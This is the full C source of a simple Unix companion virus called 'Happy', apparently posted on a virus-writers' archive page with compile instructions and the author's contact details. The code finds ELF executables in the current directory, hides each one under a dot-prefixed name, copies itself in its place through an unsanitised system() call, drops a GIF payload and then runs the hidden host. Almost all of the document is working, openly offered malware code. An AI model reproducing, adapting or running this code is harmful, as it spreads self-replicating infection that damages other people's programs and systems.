|| Author: WarGame/EOF || Back to sources || View project folder ||
/**********************************************************************
 * I wrote this shitty virus because I wanted to code on a non-common *
 * platform.                                                          *
 * This simple companion virus will infect files only in current      *
 * directory                                                          *
 * The payload is very stupid, infact the virus drops a gif image     *
 * called "smile.gif" if the (uid != 0) and (gid % 2 == 0)            *
 * How to compile: gcc Happy.c -o Happy; strip Happy                  *
 * If you want you can contact me at: wargame89@yahoo.it              *
 * by [WarGame,#eof]                                                  *
 * This shit has been tested only under FreeBSD 5.1 and Mandrake 9.1  *
 * Thx to izee for the smile and testing !                            *
 **********************************************************************/
#include <dirent.h>
#include <stdio.h>
#include <unistd.h>
#include "smile.h" /* file containing the smile picture */

/* This function will drop a smile picture */
void DropSmile(void)
{
   FILE *smile_fd = fopen("smile.gif","w");

   if(smile_fd != NULL)
   {
     /* write picture */
   fwrite(smile_picture,SMILE_SIZE,1,smile_fd);
   fclose(smile_fd);
   }
}

/* Is it ELF? */
int Is_ELF(FILE *fd)
{
   char elf_sign[4];

   /* Reads the first 4 bytes */
  fread(elf_sign,4,1,fd);

  if(elf_sign[1] == 'E' && elf_sign[2] == 'L'
       && elf_sign[3] == 'F')
       {
          return 1; /* Good ELF ! */
       }

  return 0; /* Not an ELF */
}

/* Used to copy virus to host */
void MyCopy(char *my,char *filename)
{
  char cmd[512]; /* lame way :) */

  /* build command and execute !!! */
  sprintf(cmd,"cp -f %s %s",my,filename);
  system(cmd);

}

/* Infection routine */
void Infect(char *filename,char *my)
{
    FILE *file_fd = fopen(filename,"rb");
    char new_name[256];

    /* filename starts with '.' ? */
    if(filename[0] == '.')
    {
     return;
    }

    if(file_fd == NULL)
    {
      return;
    }

    /* Check if ELF */
    if(!Is_ELF(file_fd))
    {
      fclose(file_fd);
      return;
    }

    /* close host */
    fclose(file_fd);

    /* Check if already infect */
    sprintf(new_name,".%s",filename);

    if(access(new_name,F_OK) < 0)
    {
       rename(filename,new_name);
       MyCopy(my,filename); /* COPY !!! */
    }
}

/* Main of virus */
int main(int argc,char *argv[])
{
   DIR *dr = NULL; /* Used to search file */
   struct dirent *found_file = NULL; /* the same */
   char my[256],host[256];
   int pt_cnt = 0;

   /* get its name */
   strcpy(my,argv[0]);

   for(pt_cnt = strlen(my);pt_cnt > 0;pt_cnt--)
   {
       if(my[pt_cnt] == '\\' || my[pt_cnt] == '.' || my[pt_cnt] == '/')
       {
          break;
       }
   }

   strcpy(my,my+pt_cnt+1);

   /* Try to open current directoy */
   if((dr = opendir(".")) != NULL)
   {
         /* Let's search !!! */
         while((found_file = readdir(dr)) != NULL)
         {
                     /* Infect file */
		 if(strcmp(found_file->d_name,my))
		 {
                     Infect(found_file->d_name,my);
         
		 }
	 }

    /* Close directory stuff */
    closedir(dr);
   }

  /* Payload ! */
  if(getuid() != 0 && (getgid() % 2 == 0))
  {
    DropSmile();
  }

   /* return to host */
   sprintf(host,".%s",my);
   if(execv(host,argv) < 0) /* to avoid infinite loop */
   {
     fclose(fopen(host,"w")); /* create an empty file */
   }

}